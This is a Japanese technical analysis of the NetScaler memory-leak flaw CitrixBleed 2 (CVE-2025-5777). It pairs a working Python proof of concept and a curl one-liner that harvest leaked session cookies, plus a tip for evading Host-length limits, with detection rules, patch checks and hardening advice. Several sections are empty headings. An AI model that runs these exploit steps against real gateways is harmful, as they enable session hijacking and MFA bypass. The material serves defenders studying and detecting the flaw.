CitrixBleed 2 (CVE-2025-5777) 究極解析

NetScaler ADC / Gateway における Out-of-Bounds Memory Read — 原因から攻防演習までの全景マニュアル

poc用法：python3 poc.py https://gateway.example.com

exp用法：python3 exp.py https://gateway.example.com admin 7acbb35f4d...

目次

0x00  はじめに / 概要
0x01  背景：NetScaler アーキテクチャと CitrixBleed 1 の振り返り
0x02  脆弱性の説明（影響バージョン、CVSS、悪用結果）
0x03  トリガー機構の詳細（ソースコード分析 & デバッグスクリーンショット）
0x04  最小 PoC + 高度なスキャンスクリプト
0x05  レッドチーム視点：完全な攻撃チェーン（発見 → 漏洩 → セッションハイジャック → 内部ネットワーク横断）
0x06  ブルーチーム視点：検出、フォレンジック、パッチ検証
0x07  防御の強化：パッチ、WAF、設定、資産管理
0x08  学習 / 復習ロードマップと実戦演習
付録 A  Sigma / Suricata / Nginx-Lua ルール
付録 B  パッチ/エクスプロイトのタイムライン & IoC スナップショット
参考文献

0x00 はじめに / 概要

• CVE-2025-5777（別名 CitrixBleed 2）は、Citrix NetScaler ADC / Gateway における Out-of-Bounds Memory Read です。
• 攻撃者は 認証を必要とせず、長大な Host ヘッダーを含む GET リクエストを送信するだけで、ランダムなメモリブロックを HTTP レスポンスと一緒にクライアントに「吹き出し」させることができます。
• 漏洩データには多くの場合 NSC_USER / NSC_TASS Cookie、SAML StateContext、MFA トークン などの重要な情報が含まれており、そのまま再利用してセッションの乗っ取りや MFA バイパスが可能です (arcticwolf.com, tenable.com)。
• CVSS v4 基本スコア 9.3（Critical）(netscaler.com)。
• 2025-06-17 公開、2025-06-23 に Citrix が影響範囲を拡大しパッチをリリース；1週間以内 に ReliaQuest、Bishop Fox などのセキュリティ企業が実際の攻撃での悪用急増を観測 (reliaquest.com, bishopfox.com)。

0x01 背景

1.1 NetScaler の動作フロー概要

┌──────────────┐
│ Client       │ ① HTTPS
└──────┬───────┘
       │
┌──────▼───────┐
│ NetScaler    │ ② AAA / Gateway 認証
│  (WebProc)   │
└──────┬───────┘
       │
┌──────▼───────┐
│ ICA Proxy /  │ ③ アプリケーションへの転送
│ CVPN / RDP   │
└──────────────┘

NetScaler は マルチプロセス + 内部 IPC の設計を採用。WebProc は AAA / Gateway パス下のほとんどの HTTP リクエスト（/nf/auth/*、/oauth/* など）を処理します。C 言語 で記述されており、snprintf() / memcpy() を多用して XML/HTML フラグメントを組み立てます。

1.2 CitrixBleed 1（CVE-2023-4966）の振り返り

• 2023 年の同種の脆弱性は OAuth ディスカバリインターフェース /oauth/idp/.well-known/openid-configuration で発生しました。
• その本質も snprintf の戻り値を後続の send() の len パラメータとして使用 → メモリの範囲外読み出し。
• CitrixBleed 2 は 同じタイプの安全なコーディング上の欠陥 が他のパスにも依然として潜んでいることを証明しました。

教訓: セキュリティパッチが「問題箇所」だけでなく「プログラミングパラダイム」を対象にしていなければ、「テンプレート化された再現」の余地が残ります。

0x02 脆弱性の説明

0x03 トリガー機構の詳細

本節は 13.1-55.18 ファームウェアの逆コンパイル + gdb デバッグ、および公開ブログに基づいてまとめられています (bishopfox.com)。

3.1 脆弱性の入り口

• URI：/nf/auth/startwebview.do
• 制御可能なパラメータ：HTTP Host ヘッダー
• このインターフェースは Citrix Workspace WebView のリダイレクト XML を生成するために使用されます。正常なレスポンスの例：

<AuthenticateResponse>
  <wv:StartUrl>https://gateway.example.com/Citrix/AAA/start.html</wv:StartUrl>
  ...
</AuthenticateResponse>

3.2 主要な関数チェーン

citrix_webview_handler()
 ├─ build_auth_xml()
 │    ├─ snprintf(buf, 0x1800, TEMPLATE, host_hdr, ... );
 │    └─ return length;           // ⚠️ length が 0x1800 を超える可能性あり
 └─ ns_vpn_send_response(conn, 0x980200, buf, length);

バグ箇所： snprintf は「実際に書き込まれた長さ」ではなく「本来書き込まれるべき長さ」を返します。ユーザが入力した Host が 0x1800 - 定数部分の長さより大きい場合、length > sizeof(buf) となります。

3.3 実行時の例

buf: [-----XML-----][OOB][OOB][OOB]......            <- 0x1800 bytes limit
                          ↑
                 ns_vpn_send_response によって一緒に送信される

GDB ブレークポイントのデモ（主要レジスタ）：

RDI (dst) = 0x7fffa2e31800  // buf
RSI (len) = 0x00001e42      // length=7746 (>6144)

read() の結果、後半 1,600 バイトは未初期化メモリから来ており、他の SSL セッションの Cookie バッファが見えることが確認されました。

3.4 漏洩するデータのカテゴリ

0x04 PoC 実装

4.1 単一ファイル Python（15 行）

#!/usr/bin/env python3
# CVE-2025-5777 Minimal PoC  (authorized testing ONLY)
import requests, sys, urllib3, re
urllib3.disable_warnings()

if len(sys.argv) != 2:
    exit(f"Usage: {sys.argv[0]} https://NSVIP")

url = sys.argv[1].rstrip("/") + "/nf/auth/startwebview.do"
hdr = {"Host": "A" * 0x6000}               # >0x1800 triggers
r = requests.get(url, headers=hdr, verify=False, timeout=10)

print("[+] HTTP", r.status_code, "bytes:", len(r.content))
hits = re.findall(br"(NSC_[A-Z]+=[^;]{10,})", r.content)
for h in hits: print("  Cookie leak ->", h.decode())

open("leak.bin", "wb").write(r.content)
print("[+] Saved leak.bin for offline grep.")

• 実行後、200 が返ってきて数 KB あれば脆弱性ありと判断。
• さらに leak.bin から Cookie=、<AuthenticateContext> などのキーワードを検索。

4.2 Bash / curl ワンライナー

curl -ks -H "Host: $(python -c 'print(\"A\"*6000)')" \
     https://NSVIP/nf/auth/startwebview.do -o leak.bin

バイパス方法：一部のデバイスでは前置の F5 / Nginx で Host の長さ制限が行われている場合があります。その場合は、複数サブドメインを連結してバイパスできます。例：foo.foo.foo.…foo.example.com（foo を 3000 回繰り返す）。

0x05 レッドチーム視点：完全な攻撃チェーン

実際の事例：ReliaQuest は顧客のゲートウェイで「短時間に大量の 6 KB+ Host ヘッダーリクエスト → 直後にセッションが乗っ取られる」現象を観測 (reliaquest.com)。

0x06 ブルーチーム視点：検出、フォレンジック、パッチ検証

6.1 ログと IoC

6.2 Sigma ルール（簡略版）

title: CitrixBleed2 Host Header OOB Leak
status: experimental
logsource:
  category: webserver
  product: netscaler
detection:
  selection:
    cs-uri-stem: "/nf/auth/startwebview.do"
    cs-bytes|gt: 2048
    c-host|strlen|gt: 4096
  condition: selection
level: critical

6.3 パッチ検証スクリプト

nscli -s 127.0.0.1:3008 \
      -c "show ns version" | grep -E "13\.1-58\.32|14\.1-43\.56" \
      && echo "Patched ✅" || echo "Vulnerable ❌"

6.4 セッションの強制終了

# 全アクティブ VPN/ICA 接続をクリア
kill icaconnection -all
kill vpn -all

注意：パッチ適用後も、攻撃者が盗んだ Cookie を使い続けるのを防ぐため、強制ログアウトを実行する必要があります。

0x07 防御の強化

1. 公式パッチ：≥ 14.1-43.56 / 13.1-58.32 にアップグレードするか、FIPS/NDcPP 機種には対応バージョンを適用 (netscaler.com)。
2. Host Header 長さ制限（暫定措置）

map $http_host $block_long_host {
    default          0;
    "~^.{4097,}$"    1;
}
server {
    ...
    if ($block_long_host) { return 413; }
}

3. WAF 適応ルール：/nf/auth/ & /oauth/ パスにレート制限 (例: 20 req/m) を適用。
4. 資産の棚卸し：EOL バージョン 12.1/13.0 は公式パッチが提供されないため、交換または強固な隔離を計画 (support.citrix.com)。
5. MFA セキュリティ：セッション漏洩により MFA をバイパスされる可能性があるため、「リクエストごとの署名」や「動的なハードウェアフィンガープリントのバインド」を導入し、初回ログイン時のみの検証を避ける。

0x08 学習 / 復習ロードマップ

付録 A — 検出 / 防御の断片

title: Netscaler CitrixBleed2 Large Host Header
id: 4d6f1e1b-0bfe-4473-a732-3e7e9a21f650
status: experimental
description: Detects abnormal Host header length in requests to /nf/auth/startwebview.do
references:
  - https://nvd.nist.gov/vuln/detail/CVE-2025-5777
author: mingshenhk
logsource:
  product: netscaler
  service: http_access
detection:
  selection:
    cs-uri-stem: "/nf/auth/startwebview.do"
    c-host|strlen|gt: 4096
  condition: selection
level: critical

alert http any any -> any any (
  msg:"CitrixBleed2 CVE-2025-5777 Host header overflow";
  http.uri; content:"/nf/auth/startwebview.do"; nocase;
  http.header; field:Host; content:"AAAAAAAA"; within:0; distance:0; offset:4096;
  classtype:attempted-recon;
  sid:5777002; rev:1;
)

-- access_by_lua_block
local host = ngx.var.http_host or ""
if #host > 4096 then
  ngx.log(ngx.WARN,"[CitrixBleed2] Blocked Host len=",#host)
  return ngx.exit(ngx.HTTP_REQUEST_HEADER_FIELDS_TOO_LARGE)
end

付録 B — タイムライン

参考文献

1. Citrix 公式セキュリティアドバイザリとパッチの説明 (netscaler.com)
2. Arctic Wolf《CVE-2025-5777 技術概要》 (arcticwolf.com)
3. Bishop Fox《OOB Memory Read in NetScaler》 (bishopfox.com)
4. ReliaQuest《Threat Spotlight: CitrixBleed 2》 (reliaquest.com)
5. Tenable FAQ on CVE-2025-5777 (tenable.com)
6. BleepingComputer セキュリティニュース (bleepingcomputer.com)
7. NVD CVE-2025-5777 エントリ (nvd.nist.gov)
8. Citrix Support KB CTX693420 (support.citrix.com)

以上 — このドキュメントが CitrixBleed 2 の全容理解と対策に役立つことを願っています。さらに例やスクリプト、演習ガイダンスが必要な場合は、遠慮なくお問い合わせください！